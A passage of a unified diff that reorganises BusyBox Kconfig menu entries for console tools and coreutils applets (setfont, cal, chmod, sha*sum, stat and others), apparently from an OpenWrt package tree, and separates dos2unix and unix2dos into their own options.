+	default BUSYBOX_DEFAULT_FGCONSOLE
+	select BUSYBOX_CONFIG_PLATFORM_LINUX
+	help
+	  This program prints active (foreground) console number.
 config BUSYBOX_CONFIG_KBD_MODE
 	bool "kbd_mode"
 	default BUSYBOX_DEFAULT_KBD_MODE
 	select BUSYBOX_CONFIG_PLATFORM_LINUX
 	help
 	  This program reports and sets keyboard mode.
-
 config BUSYBOX_CONFIG_LOADFONT
 	bool "loadfont"
 	default BUSYBOX_DEFAULT_LOADFONT
@@ -57,6 +50,44 @@ config BUSYBOX_CONFIG_LOADFONT
 	help
 	  This program loads a console font from standard input.
 
+config BUSYBOX_CONFIG_SETFONT
+	bool "setfont"
+	default BUSYBOX_DEFAULT_SETFONT
+	select BUSYBOX_CONFIG_PLATFORM_LINUX
+	help
+	  Allows to load console screen map. Useful for i18n.
+
+config BUSYBOX_CONFIG_FEATURE_SETFONT_TEXTUAL_MAP
+	bool "Support reading textual screen maps"
+	default BUSYBOX_DEFAULT_FEATURE_SETFONT_TEXTUAL_MAP
+	depends on BUSYBOX_CONFIG_SETFONT
+	help
+	  Support reading textual screen maps.
+
+config BUSYBOX_CONFIG_DEFAULT_SETFONT_DIR
+	string "Default directory for console-tools files"
+	default BUSYBOX_DEFAULT_DEFAULT_SETFONT_DIR
+	depends on BUSYBOX_CONFIG_SETFONT
+	help
+	  Directory to use if setfont's params are simple filenames
+	  (not /path/to/file or ./file). Default is "" (no default directory).
+
+comment "Common options for loadfont and setfont"
+	depends on BUSYBOX_CONFIG_LOADFONT || BUSYBOX_CONFIG_SETFONT
+
+config BUSYBOX_CONFIG_FEATURE_LOADFONT_PSF2
+	bool "Support for PSF2 console fonts"
+	default BUSYBOX_DEFAULT_FEATURE_LOADFONT_PSF2
+	depends on BUSYBOX_CONFIG_LOADFONT || BUSYBOX_CONFIG_SETFONT
+	help
+	  Support PSF2 console fonts.
+
+config BUSYBOX_CONFIG_FEATURE_LOADFONT_RAW
+	bool "Support for old (raw) console fonts"
+	default BUSYBOX_DEFAULT_FEATURE_LOADFONT_RAW
+	depends on BUSYBOX_CONFIG_LOADFONT || BUSYBOX_CONFIG_SETFONT
+	help
+	  Support old (raw) console fonts.
 config BUSYBOX_CONFIG_LOADKMAP
 	bool "loadkmap"
 	default BUSYBOX_DEFAULT_LOADKMAP
@@ -64,7 +95,6 @@ config BUSYBOX_CONFIG_LOADKMAP
 	help
 	  This program loads a keyboard translation table from
 	  standard input.
-
 config BUSYBOX_CONFIG_OPENVT
 	bool "openvt"
 	default BUSYBOX_DEFAULT_OPENVT
@@ -72,14 +102,12 @@ config BUSYBOX_CONFIG_OPENVT
 	help
 	  This program is used to start a command on an unused
 	  virtual terminal.
-
 config BUSYBOX_CONFIG_RESET
 	bool "reset"
 	default BUSYBOX_DEFAULT_RESET
 	help
 	  This program is used to reset the terminal screen, if it
 	  gets messed up.
-
 config BUSYBOX_CONFIG_RESIZE
 	bool "resize"
 	default BUSYBOX_DEFAULT_RESIZE
@@ -96,7 +124,6 @@ config BUSYBOX_CONFIG_FEATURE_RESIZE_PRINT
 	  the terminal.
 	  E.g.:
 	  COLUMNS=80;LINES=44;export COLUMNS LINES;
-
 config BUSYBOX_CONFIG_SETCONSOLE
 	bool "setconsole"
 	default BUSYBOX_DEFAULT_SETCONSOLE
@@ -111,29 +138,6 @@ config BUSYBOX_CONFIG_FEATURE_SETCONSOLE_LONG_OPTIONS
 	depends on BUSYBOX_CONFIG_SETCONSOLE && BUSYBOX_CONFIG_LONG_OPTS
 	help
 	  Support long options for the setconsole applet.
-
-config BUSYBOX_CONFIG_SETFONT
-	bool "setfont"
-	default BUSYBOX_DEFAULT_SETFONT
-	select BUSYBOX_CONFIG_PLATFORM_LINUX
-	help
-	  Allows to load console screen map. Useful for i18n.
-
-config BUSYBOX_CONFIG_FEATURE_SETFONT_TEXTUAL_MAP
-	bool "Support reading textual screen maps"
-	default BUSYBOX_DEFAULT_FEATURE_SETFONT_TEXTUAL_MAP
-	depends on BUSYBOX_CONFIG_SETFONT
-	help
-	  Support reading textual screen maps.
-
-config BUSYBOX_CONFIG_DEFAULT_SETFONT_DIR
-	string "Default directory for console-tools files"
-	default BUSYBOX_DEFAULT_DEFAULT_SETFONT_DIR
-	depends on BUSYBOX_CONFIG_SETFONT
-	help
-	  Directory to use if setfont's params are simple filenames
-	  (not /path/to/file or ./file). Default is "" (no default directory).
-
 config BUSYBOX_CONFIG_SETKEYCODES
 	bool "setkeycodes"
 	default BUSYBOX_DEFAULT_SETKEYCODES
@@ -141,14 +145,12 @@ config BUSYBOX_CONFIG_SETKEYCODES
 	help
 	  This program loads entries into the kernel's scancode-to-keycode
 	  map, allowing unusual keyboards to generate usable keycodes.
-
 config BUSYBOX_CONFIG_SETLOGCONS
 	bool "setlogcons"
 	default BUSYBOX_DEFAULT_SETLOGCONS
 	select BUSYBOX_CONFIG_PLATFORM_LINUX
 	help
 	  This program redirects the output console of kernel messages.
-
 config BUSYBOX_CONFIG_SHOWKEY
 	bool "showkey"
 	default BUSYBOX_DEFAULT_SHOWKEY
@@ -156,21 +158,4 @@ config BUSYBOX_CONFIG_SHOWKEY
 	help
 	  Shows keys pressed.
 
-comment "Common options for loadfont and setfont"
-	depends on BUSYBOX_CONFIG_LOADFONT || BUSYBOX_CONFIG_SETFONT
-
-config BUSYBOX_CONFIG_FEATURE_LOADFONT_PSF2
-	bool "Support for PSF2 console fonts"
-	default BUSYBOX_DEFAULT_FEATURE_LOADFONT_PSF2
-	depends on BUSYBOX_CONFIG_LOADFONT || BUSYBOX_CONFIG_SETFONT
-	help
-	  Support PSF2 console fonts.
-
-config BUSYBOX_CONFIG_FEATURE_LOADFONT_RAW
-	bool "Support for old (raw) console fonts"
-	default BUSYBOX_DEFAULT_FEATURE_LOADFONT_RAW
-	depends on BUSYBOX_CONFIG_LOADFONT || BUSYBOX_CONFIG_SETFONT
-	help
-	  Support old (raw) console fonts.
-
 endmenu
diff --git a/package/utils/busybox/config/coreutils/Config.in b/package/utils/busybox/config/coreutils/Config.in
index ec5611b..855bcd1 100644
--- a/package/utils/busybox/config/coreutils/Config.in
+++ b/package/utils/busybox/config/coreutils/Config.in
@@ -13,12 +13,82 @@ config BUSYBOX_CONFIG_BASENAME
 	  basename is used to strip the directory and suffix from filenames,
 	  leaving just the filename itself. Enable this option if you wish
 	  to enable the 'basename' utility.
+config BUSYBOX_CONFIG_CAL
+	bool "cal"
+	default BUSYBOX_DEFAULT_CAL
+	help
+	  cal is used to display a monthly calendar.
 config BUSYBOX_CONFIG_CAT
 	bool "cat"
 	default BUSYBOX_DEFAULT_CAT
 	help
 	  cat is used to concatenate files and print them to the standard
 	  output. Enable this option if you wish to enable the 'cat' utility.
+config BUSYBOX_CONFIG_CATV
+	bool "catv"
+	default BUSYBOX_DEFAULT_CATV
+	help
+	  Display nonprinting characters as escape sequences (like some
+	  implementations' cat -v option).
+config BUSYBOX_CONFIG_CHGRP
+	bool "chgrp"
+	default BUSYBOX_DEFAULT_CHGRP
+	help
+	  chgrp is used to change the group ownership of files.
+config BUSYBOX_CONFIG_CHMOD
+	bool "chmod"
+	default BUSYBOX_DEFAULT_CHMOD
+	help
+	  chmod is used to change the access permission of files.
+config BUSYBOX_CONFIG_CHOWN
+	bool "chown"
+	default BUSYBOX_DEFAULT_CHOWN
+	help
+	  chown is used to change the user and/or group ownership
+	  of files.
+
+config BUSYBOX_CONFIG_FEATURE_CHOWN_LONG_OPTIONS
+	bool "Enable long options"
+	default BUSYBOX_DEFAULT_FEATURE_CHOWN_LONG_OPTIONS
+	depends on BUSYBOX_CONFIG_CHOWN && BUSYBOX_CONFIG_LONG_OPTS
+	help
+	  Enable use of long options
+config BUSYBOX_CONFIG_CHROOT
+	bool "chroot"
+	default BUSYBOX_DEFAULT_CHROOT
+	help
+	  chroot is used to change the root directory and run a command.
+	  The default command is `/bin/sh'.
+config BUSYBOX_CONFIG_CKSUM
+	bool "cksum"
+	default BUSYBOX_DEFAULT_CKSUM
+	help
+	  cksum is used to calculate the CRC32 checksum of a file.
+config BUSYBOX_CONFIG_COMM
+	bool "comm"
+	default BUSYBOX_DEFAULT_COMM
+	help
+	  comm is used to compare two files line by line and return
+	  a three-column output.
+config BUSYBOX_CONFIG_CP
+	bool "cp"
+	default BUSYBOX_DEFAULT_CP
+	help
+	  cp is used to copy files and directories.
+
+config BUSYBOX_CONFIG_FEATURE_CP_LONG_OPTIONS
+	bool "Enable long options for cp"
+	default BUSYBOX_DEFAULT_FEATURE_CP_LONG_OPTIONS
+	depends on BUSYBOX_CONFIG_CP && BUSYBOX_CONFIG_LONG_OPTS
+	help
+	  Enable long options for cp.
+	  Also add support for --parents option.
+config BUSYBOX_CONFIG_CUT
+	bool "cut"
+	default BUSYBOX_DEFAULT_CUT
+	help
+	  cut is used to print selected parts of lines from
+	  each file to stdout.
 config BUSYBOX_CONFIG_DATE
 	bool "date"
 	default BUSYBOX_DEFAULT_DATE
@@ -102,231 +172,6 @@ config BUSYBOX_CONFIG_FEATURE_DD_STATUS
 	depends on BUSYBOX_CONFIG_DD
 	help
 	  Enables support for status=noxfer/none option.
-config BUSYBOX_CONFIG_HOSTID
-	bool "hostid"
-	default BUSYBOX_DEFAULT_HOSTID
-	help
-	  hostid prints the numeric identifier (in hexadecimal) for
-	  the current host.
-config BUSYBOX_CONFIG_ID
-	bool "id"
-	default BUSYBOX_DEFAULT_ID
-	help
-	  id displays the current user and group ID names.
-config BUSYBOX_CONFIG_GROUPS
-	bool "groups"
-	default BUSYBOX_DEFAULT_GROUPS
-	help
-	  Print the group names associated with current user id.
-config BUSYBOX_CONFIG_SHUF
-	bool "shuf"
-	default BUSYBOX_DEFAULT_SHUF
-	help
-	  Generate random permutations
-config BUSYBOX_CONFIG_STAT
-	bool "stat"
-	default BUSYBOX_DEFAULT_STAT
-	help
-	  display file or filesystem status.
-
-config BUSYBOX_CONFIG_FEATURE_STAT_FORMAT
-	bool "Enable custom formats (-c)"
-	default BUSYBOX_DEFAULT_FEATURE_STAT_FORMAT
-	depends on BUSYBOX_CONFIG_STAT
-	help
-	  Without this, stat will not support the '-c format' option where
-	  users can pass a custom format string for output. This adds about
-	  7k to a nonstatic build on amd64.
-
-config BUSYBOX_CONFIG_FEATURE_STAT_FILESYSTEM
-	bool "Enable display of filesystem status (-f)"
-	default BUSYBOX_DEFAULT_FEATURE_STAT_FILESYSTEM
-	depends on BUSYBOX_CONFIG_STAT
-	select BUSYBOX_CONFIG_PLATFORM_LINUX # statfs()
-	help
-	  Without this, stat will not support the '-f' option to display
-	  information about filesystem status.
-config BUSYBOX_CONFIG_SYNC
-	bool "sync"
-	default BUSYBOX_DEFAULT_SYNC
-	help
-	  sync is used to flush filesystem buffers.
-config BUSYBOX_CONFIG_FEATURE_SYNC_FANCY
-	bool "Enable -d and -f flags (requres syncfs(2) in libc)"
-	default BUSYBOX_DEFAULT_FEATURE_SYNC_FANCY
-	depends on BUSYBOX_CONFIG_SYNC
-	help
-	  sync -d FILE... executes fdatasync() on each FILE.
-	  sync -f FILE... executes syncfs() on each FILE.
-config BUSYBOX_CONFIG_TEST
-	bool "test"
-	default BUSYBOX_DEFAULT_TEST
-	help
-	  test is used to check file types and compare values,
-	  returning an appropriate exit code. The bash shell
-	  has test built in, ash can build it in optionally.
-
-config BUSYBOX_CONFIG_FEATURE_TEST_64
-	bool "Extend test to 64 bit"
-	default BUSYBOX_DEFAULT_FEATURE_TEST_64
-	depends on BUSYBOX_CONFIG_TEST || BUSYBOX_CONFIG_ASH_BUILTIN_TEST || BUSYBOX_CONFIG_HUSH
-	help
-	  Enable 64-bit support in test.
-config BUSYBOX_CONFIG_TOUCH
-	bool "touch"
-	default BUSYBOX_DEFAULT_TOUCH
-	help
-	  touch is used to create or change the access and/or
-	  modification timestamp of specified files.
-
-config BUSYBOX_CONFIG_FEATURE_TOUCH_NODEREF
-	bool "Add support for -h"
-	default BUSYBOX_DEFAULT_FEATURE_TOUCH_NODEREF
-	depends on BUSYBOX_CONFIG_TOUCH
-	help
-	  Enable touch to have the -h option.
-	  This requires libc support for lutimes() function.
-
-config BUSYBOX_CONFIG_FEATURE_TOUCH_SUSV3
-	bool "Add support for SUSV3 features (-d -t -r)"
-	default BUSYBOX_DEFAULT_FEATURE_TOUCH_SUSV3
-	depends on BUSYBOX_CONFIG_TOUCH
-	help
-	  Enable touch to use a reference file or a given date/time argument.
-config BUSYBOX_CONFIG_TR
-	bool "tr"
-	default BUSYBOX_DEFAULT_TR
-	help
-	  tr is used to squeeze, and/or delete characters from standard
-	  input, writing to standard output.
-
-config BUSYBOX_CONFIG_FEATURE_TR_CLASSES
-	bool "Enable character classes (such as [:upper:])"
-	default BUSYBOX_DEFAULT_FEATURE_TR_CLASSES
-	depends on BUSYBOX_CONFIG_TR
-	help
-	  Enable character classes, enabling commands such as:
-	  tr [:upper:] [:lower:] to convert input into lowercase.
-
-config BUSYBOX_CONFIG_FEATURE_TR_EQUIV
-	bool "Enable equivalence classes"
-	default BUSYBOX_DEFAULT_FEATURE_TR_EQUIV
-	depends on BUSYBOX_CONFIG_TR
-	help
-	  Enable equivalence classes, which essentially add the enclosed
-	  character to the current set. For instance, tr [=a=] xyz would
-	  replace all instances of 'a' with 'xyz'. This option is mainly
-	  useful for cases when no other way of expressing a character
-	  is possible.
-config BUSYBOX_CONFIG_TRUNCATE
-	bool "truncate"
-	default BUSYBOX_DEFAULT_TRUNCATE
-	help
-	  truncate truncates files to a given size. If a file does
-	  not exist, it is created unless told otherwise.
-config BUSYBOX_CONFIG_UNLINK
-	bool "unlink"
-	default BUSYBOX_DEFAULT_UNLINK
-	help
-	  unlink deletes a file by calling unlink()
-config BUSYBOX_CONFIG_BASE64
-	bool "base64"
-	default BUSYBOX_DEFAULT_BASE64
-	help
-	  Base64 encode and decode
-config BUSYBOX_CONFIG_WHO
-      bool "who"
-      default BUSYBOX_DEFAULT_WHO
-      depends on BUSYBOX_CONFIG_FEATURE_UTMP
-      help
-        who is used to show who is logged on.
-config BUSYBOX_CONFIG_USERS
-      bool "users"
-      default BUSYBOX_DEFAULT_USERS
-      depends on BUSYBOX_CONFIG_FEATURE_UTMP
-      help
-        Print users currently logged on.
-
-config BUSYBOX_CONFIG_CAL
-	bool "cal"
-	default BUSYBOX_DEFAULT_CAL
-	help
-	  cal is used to display a monthly calendar.
-
-config BUSYBOX_CONFIG_CATV
-	bool "catv"
-	default BUSYBOX_DEFAULT_CATV
-	help
-	  Display nonprinting characters as escape sequences (like some
-	  implementations' cat -v option).
-
-config BUSYBOX_CONFIG_CHGRP
-	bool "chgrp"
-	default BUSYBOX_DEFAULT_CHGRP
-	help
-	  chgrp is used to change the group ownership of files.
-
-config BUSYBOX_CONFIG_CHMOD
-	bool "chmod"
-	default BUSYBOX_DEFAULT_CHMOD
-	help
-	  chmod is used to change the access permission of files.
-
-config BUSYBOX_CONFIG_CHOWN
-	bool "chown"
-	default BUSYBOX_DEFAULT_CHOWN
-	help
-	  chown is used to change the user and/or group ownership
-	  of files.
-
-config BUSYBOX_CONFIG_FEATURE_CHOWN_LONG_OPTIONS
-	bool "Enable long options"
-	default BUSYBOX_DEFAULT_FEATURE_CHOWN_LONG_OPTIONS
-	depends on BUSYBOX_CONFIG_CHOWN && BUSYBOX_CONFIG_LONG_OPTS
-	help
-	  Enable use of long options
-
-config BUSYBOX_CONFIG_CHROOT
-	bool "chroot"
-	default BUSYBOX_DEFAULT_CHROOT
-	help
-	  chroot is used to change the root directory and run a command.
-	  The default command is `/bin/sh'.
-
-config BUSYBOX_CONFIG_CKSUM
-	bool "cksum"
-	default BUSYBOX_DEFAULT_CKSUM
-	help
-	  cksum is used to calculate the CRC32 checksum of a file.
-
-config BUSYBOX_CONFIG_COMM
-	bool "comm"
-	default BUSYBOX_DEFAULT_COMM
-	help
-	  comm is used to compare two files line by line and return
-	  a three-column output.
-
-config BUSYBOX_CONFIG_CP
-	bool "cp"
-	default BUSYBOX_DEFAULT_CP
-	help
-	  cp is used to copy files and directories.
-
-config BUSYBOX_CONFIG_FEATURE_CP_LONG_OPTIONS
-	bool "Enable long options for cp"
-	default BUSYBOX_DEFAULT_FEATURE_CP_LONG_OPTIONS
-	depends on BUSYBOX_CONFIG_CP && BUSYBOX_CONFIG_LONG_OPTS
-	help
-	  Enable long options for cp.
-	  Also add support for --parents option.
-
-config BUSYBOX_CONFIG_CUT
-	bool "cut"
-	default BUSYBOX_DEFAULT_CUT
-	help
-	  cut is used to print selected parts of lines from
-	  each file to stdout.
-
 config BUSYBOX_CONFIG_DF
 	bool "df"
 	default BUSYBOX_DEFAULT_DF
@@ -344,29 +189,25 @@ config BUSYBOX_CONFIG_FEATURE_DF_FANCY
 	    -a Show all filesystems
 	    -i Inodes
 	    -B <SIZE> Blocksize
-
 config BUSYBOX_CONFIG_DIRNAME
 	bool "dirname"
 	default BUSYBOX_DEFAULT_DIRNAME
 	help
 	  dirname is used to strip a non-directory suffix from
 	  a file name.
-
 config BUSYBOX_CONFIG_DOS2UNIX
-	bool "dos2unix/unix2dos"
+	bool "dos2unix"
 	default BUSYBOX_DEFAULT_DOS2UNIX
 	help
 	  dos2unix is used to convert a text file from DOS format to
 	  UNIX format, and vice versa.
 
 config BUSYBOX_CONFIG_UNIX2DOS
-	bool
+	bool "unix2dos"
 	default BUSYBOX_DEFAULT_UNIX2DOS
-	depends on BUSYBOX_CONFIG_DOS2UNIX
 	help
 	  unix2dos is used to convert a text file from UNIX format to
 	  DOS format, and vice versa.
-
 config BUSYBOX_CONFIG_DU
 	bool "du (default blocksize of 512 bytes)"
 	default BUSYBOX_DEFAULT_DU
@@ -380,7 +221,6 @@ config BUSYBOX_CONFIG_FEATURE_DU_DEFAULT_BLOCKSIZE_1K
 	depends on BUSYBOX_CONFIG_DU
 	help
 	  Use a blocksize of (1K) instead of the default 512b.
-
 config BUSYBOX_CONFIG_ECHO
 	bool "echo (basic SuSv3 version taking no options)"
 	default BUSYBOX_DEFAULT_ECHO
@@ -394,7 +234,6 @@ config BUSYBOX_CONFIG_FEATURE_FANCY_ECHO
 	depends on BUSYBOX_CONFIG_ECHO || BUSYBOX_CONFIG_ASH_BUILTIN_ECHO || BUSYBOX_CONFIG_HUSH
 	help
 	  This adds options (-n and -e) to echo.
-
 config BUSYBOX_CONFIG_ENV
 	bool "env"
 	default BUSYBOX_DEFAULT_ENV
@@ -409,7 +248,6 @@ config BUSYBOX_CONFIG_FEATURE_ENV_LONG_OPTIONS
 	depends on BUSYBOX_CONFIG_ENV && BUSYBOX_CONFIG_LONG_OPTS
 	help
 	  Support long options for the env applet.
-
 config BUSYBOX_CONFIG_EXPAND
 	bool "expand"
 	default BUSYBOX_DEFAULT_EXPAND
@@ -423,6 +261,18 @@ config BUSYBOX_CONFIG_FEATURE_EXPAND_LONG_OPTIONS
 	help
 	  Support long options for the expand applet.
 
+config BUSYBOX_CONFIG_UNEXPAND
+	bool "unexpand"
+	default BUSYBOX_DEFAULT_UNEXPAND
+	help
+	  By default, convert only leading sequences of blanks to tabs.
+
+config BUSYBOX_CONFIG_FEATURE_UNEXPAND_LONG_OPTIONS
+	bool "Enable long options"
+	default BUSYBOX_DEFAULT_FEATURE_UNEXPAND_LONG_OPTIONS
+	depends on BUSYBOX_CONFIG_UNEXPAND && BUSYBOX_CONFIG_LONG_OPTS
+	help
+	  Support long options for the unexpand applet.
 config BUSYBOX_CONFIG_EXPR
 	bool "expr"
 	default BUSYBOX_DEFAULT_EXPR
@@ -438,25 +288,21 @@ config BUSYBOX_CONFIG_EXPR_MATH_SUPPORT_64
 	  Enable 64-bit math support in the expr applet. This will make
 	  the applet slightly larger, but will allow computation with very
 	  large numbers.
-
 config BUSYBOX_CONFIG_FALSE
 	bool "false"
 	default BUSYBOX_DEFAULT_FALSE
 	help
 	  false returns an exit code of FALSE (1).
-
 config BUSYBOX_CONFIG_FOLD
 	bool "fold"
 	default BUSYBOX_DEFAULT_FOLD
 	help
 	  Wrap text to fit a specific width.
-
 config BUSYBOX_CONFIG_FSYNC
 	bool "fsync"
 	default BUSYBOX_DEFAULT_FSYNC
 	help
 	  fsync is used to flush file-related cached blocks to disk.
-
 config BUSYBOX_CONFIG_HEAD
 	bool "head"
 	default BUSYBOX_DEFAULT_HEAD
@@ -469,8 +315,24 @@ config BUSYBOX_CONFIG_FEATURE_FANCY_HEAD
 	default BUSYBOX_DEFAULT_FEATURE_FANCY_HEAD
 	depends on BUSYBOX_CONFIG_HEAD
 	help
-	  This enables the head options (-c, -q, and -v).
+	  This enables the head options (-c, -q, and -v).
+config BUSYBOX_CONFIG_HOSTID
+	bool "hostid"
+	default BUSYBOX_DEFAULT_HOSTID
+	help
+	  hostid prints the numeric identifier (in hexadecimal) for
+	  the current host.
+config BUSYBOX_CONFIG_ID
+	bool "id"
+	default BUSYBOX_DEFAULT_ID
+	help
+	  id displays the current user and group ID names.
 
+config BUSYBOX_CONFIG_GROUPS
+	bool "groups"
+	default BUSYBOX_DEFAULT_GROUPS
+	help
+	  Print the group names associated with current user id.
 config BUSYBOX_CONFIG_INSTALL
 	bool "install"
 	default BUSYBOX_DEFAULT_INSTALL
@@ -483,25 +345,16 @@ config BUSYBOX_CONFIG_FEATURE_INSTALL_LONG_OPTIONS
 	depends on BUSYBOX_CONFIG_INSTALL && BUSYBOX_CONFIG_LONG_OPTS
 	help
 	  Support long options for the install applet.
-
-####config LENGTH
-####	bool "length"
-####	default y
-####	help
-####	  length is used to print out the length of a specified string.
-
 config BUSYBOX_CONFIG_LN
 	bool "ln"
 	default BUSYBOX_DEFAULT_LN
 	help
 	  ln is used to create hard or soft links between files.
-
 config BUSYBOX_CONFIG_LOGNAME
 	bool "logname"
 	default BUSYBOX_DEFAULT_LOGNAME
 	help
 	  logname is used to print the current user's login name.
-
 config BUSYBOX_CONFIG_LS
 	bool "ls"
 	default BUSYBOX_DEFAULT_LS
@@ -567,13 +420,48 @@ config BUSYBOX_CONFIG_FEATURE_LS_COLOR_IS_DEFAULT
 	  This is not recommended, since the colors are not
 	  configurable, and the output may not be legible on
 	  many output screens.
-
 config BUSYBOX_CONFIG_MD5SUM
 	bool "md5sum"
 	default BUSYBOX_DEFAULT_MD5SUM
 	help
 	  md5sum is used to print or check MD5 checksums.
 
+config BUSYBOX_CONFIG_SHA1SUM
+	bool "sha1sum"
+	default BUSYBOX_DEFAULT_SHA1SUM
+	help
+	  Compute and check SHA1 message digest
+
+config BUSYBOX_CONFIG_SHA256SUM
+	bool "sha256sum"
+	default BUSYBOX_DEFAULT_SHA256SUM
+	help
+	  Compute and check SHA256 message digest
+
+config BUSYBOX_CONFIG_SHA512SUM
+	bool "sha512sum"
+	default BUSYBOX_DEFAULT_SHA512SUM
+	help
+	  Compute and check SHA512 message digest
+
+config BUSYBOX_CONFIG_SHA3SUM
+	bool "sha3sum"
+	default BUSYBOX_DEFAULT_SHA3SUM
+	help
+	  Compute and check SHA3 message digest
+
+comment "Common options for md5sum, sha1sum, sha256sum, sha512sum, sha3sum"
+	depends on BUSYBOX_CONFIG_MD5SUM || BUSYBOX_CONFIG_SHA1SUM || BUSYBOX_CONFIG_SHA256SUM || BUSYBOX_CONFIG_SHA512SUM || BUSYBOX_CONFIG_SHA3SUM
+
+config BUSYBOX_CONFIG_FEATURE_MD5_SHA1_SUM_CHECK
+	bool "Enable -c, -s and -w options"
+	default BUSYBOX_DEFAULT_FEATURE_MD5_SHA1_SUM_CHECK
+	depends on BUSYBOX_CONFIG_MD5SUM || BUSYBOX_CONFIG_SHA1SUM || BUSYBOX_CONFIG_SHA256SUM || BUSYBOX_CONFIG_SHA512SUM || BUSYBOX_CONFIG_SHA3SUM
+	help
+	  Enabling the -c options allows files to be checked
+	  against pre-calculated hash values.
+
+	  -s and -w are useful options when verifying checksums.
 config BUSYBOX_CONFIG_MKDIR
 	bool "mkdir"
 	default BUSYBOX_DEFAULT_MKDIR
@@ -586,21 +474,18 @@ config BUSYBOX_CONFIG_FEATURE_MKDIR_LONG_OPTIONS
 	depends on BUSYBOX_CONFIG_MKDIR && BUSYBOX_CONFIG_LONG_OPTS
 	help
 	  Support long options for the mkdir applet.
-
 config BUSYBOX_CONFIG_MKFIFO
 	bool "mkfifo"
 	default BUSYBOX_DEFAULT_MKFIFO
 	help
 	  mkfifo is used to create FIFOs (named pipes).
-	  The `mknod' program can also create FIFOs.
-
+	  The 'mknod' program can also create FIFOs.
 config BUSYBOX_CONFIG_MKNOD
 	bool "mknod"
 	default BUSYBOX_DEFAULT_MKNOD
 	help
 	  mknod is used to create FIFOs or block/character special
 	  files with the specified names.
-
 config BUSYBOX_CONFIG_MV
 	bool "mv"
 	default BUSYBOX_DEFAULT_MV
@@ -613,44 +498,37 @@ config BUSYBOX_CONFIG_FEATURE_MV_LONG_OPTIONS
 	depends on BUSYBOX_CONFIG_MV && BUSYBOX_CONFIG_LONG_OPTS
 	help
 	  Support long options for the mv applet.
-
 config BUSYBOX_CONFIG_NICE
 	bool "nice"
 	default BUSYBOX_DEFAULT_NICE
 	help
 	  nice runs a program with modified scheduling priority.
-
 config BUSYBOX_CONFIG_NOHUP
 	bool "nohup"
 	default BUSYBOX_DEFAULT_NOHUP
 	help
 	  run a command immune to hangups, with output to a non-tty.
-
 config BUSYBOX_CONFIG_OD
 	bool "od"
 	default BUSYBOX_DEFAULT_OD
 	help
 	  od is used to dump binary files in octal and other formats.
-
 config BUSYBOX_CONFIG_PRINTENV
 	bool "printenv"
 	default BUSYBOX_DEFAULT_PRINTENV
 	help
 	  printenv is used to print all or part of environment.
-
 config BUSYBOX_CONFIG_PRINTF
 	bool "printf"
 	default BUSYBOX_DEFAULT_PRINTF
 	help
 	  printf is used to format and print specified strings.
 	  It's similar to `echo' except it has more options.
-
 config BUSYBOX_CONFIG_PWD
 	bool "pwd"
 	default BUSYBOX_DEFAULT_PWD
 	help
 	  pwd is used to print the current directory.
-
 config BUSYBOX_CONFIG_READLINK
 	bool "readlink"
 	default BUSYBOX_DEFAULT_READLINK
@@ -664,20 +542,17 @@ config BUSYBOX_CONFIG_FEATURE_READLINK_FOLLOW
 	depends on BUSYBOX_CONFIG_READLINK
 	help
 	  Enable the readlink option (-f).
-
 config BUSYBOX_CONFIG_REALPATH
 	bool "realpath"
 	default BUSYBOX_DEFAULT_REALPATH
 	help
 	  Return the canonicalized absolute pathname.
 	  This isn't provided by GNU shellutils, but where else does it belong.
-
 config BUSYBOX_CONFIG_RM
 	bool "rm"
 	default BUSYBOX_DEFAULT_RM
 	help
 	  rm is used to remove files or directories.
-
 config BUSYBOX_CONFIG_RMDIR
 	bool "rmdir"
 	default BUSYBOX_DEFAULT_RMDIR
@@ -691,37 +566,16 @@ config BUSYBOX_CONFIG_FEATURE_RMDIR_LONG_OPTIONS
 	help
 	  Support long options for the rmdir applet, including
 	  --ignore-fail-on-non-empty for compatibility with GNU rmdir.
-
 config BUSYBOX_CONFIG_SEQ
 	bool "seq"
 	default BUSYBOX_DEFAULT_SEQ
 	help
 	  print a sequence of numbers
-
-config BUSYBOX_CONFIG_SHA1SUM
-	bool "sha1sum"
-	default BUSYBOX_DEFAULT_SHA1SUM
-	help
-	  Compute and check SHA1 message digest
-
-config BUSYBOX_CONFIG_SHA256SUM
-	bool "sha256sum"
-	default BUSYBOX_DEFAULT_SHA256SUM
-	help
-	  Compute and check SHA256 message digest
-
-config BUSYBOX_CONFIG_SHA512SUM
-	bool "sha512sum"
-	default BUSYBOX_DEFAULT_SHA512SUM
-	help
-	  Compute and check SHA512 message digest
-
-config BUSYBOX_CONFIG_SHA3SUM
-	bool "sha3sum"
-	default BUSYBOX_DEFAULT_SHA3SUM
+config BUSYBOX_CONFIG_SHUF
+	bool "shuf"
+	default BUSYBOX_DEFAULT_SHUF
 	help
-	  Compute and check SHA3 (512-bit) message digest
-
+	  Generate random permutations
 config BUSYBOX_CONFIG_SLEEP
 	bool "sleep"
 	default BUSYBOX_DEFAULT_SLEEP
@@ -749,7 +603,6 @@ config BUSYBOX_CONFIG_FEATURE_FLOAT_SLEEP
 	depends on BUSYBOX_CONFIG_FEATURE_FANCY_SLEEP
 	help
 	  Allow for fractional numeric parameters.
-
 config BUSYBOX_CONFIG_SORT
 	bool "sort"
 	default BUSYBOX_DEFAULT_SORT
@@ -767,7 +620,6 @@ config BUSYBOX_CONFIG_FEATURE_SORT_BIG
 
 	  The SuSv3 sort standard is available at:
 	  http://www.opengroup.org/onlinepubs/007904975/utilities/sort.html
-
 config BUSYBOX_CONFIG_SPLIT
 	bool "split"
 	default BUSYBOX_DEFAULT_SPLIT
@@ -782,25 +634,56 @@ config BUSYBOX_CONFIG_FEATURE_SPLIT_FANCY
 	  Add support for features not required by SUSv3.
 	  Supports additional suffixes 'b' for 512 bytes,
 	  'g' for 1GiB for the -b option.
+config BUSYBOX_CONFIG_STAT
+	bool "stat"
+	default BUSYBOX_DEFAULT_STAT
+	help
+	  display file or filesystem status.
+
+config BUSYBOX_CONFIG_FEATURE_STAT_FORMAT
+	bool "Enable custom formats (-c)"
+	default BUSYBOX_DEFAULT_FEATURE_STAT_FORMAT
+	depends on BUSYBOX_CONFIG_STAT
+	help
+	  Without this, stat will not support the '-c format' option where
+	  users can pass a custom format string for output. This adds about
+	  7k to a nonstatic build on amd64.
 
+config BUSYBOX_CONFIG_FEATURE_STAT_FILESYSTEM
+	bool "Enable display of filesystem status (-f)"
+	default BUSYBOX_DEFAULT_FEATURE_STAT_FILESYSTEM
+	depends on BUSYBOX_CONFIG_STAT
+	select BUSYBOX_CONFIG_PLATFORM_LINUX # statfs()
+	help
+	  Without this, stat will not support the '-f' option to display
+	  information about filesystem status.
 config BUSYBOX_CONFIG_STTY
 	bool "stty"
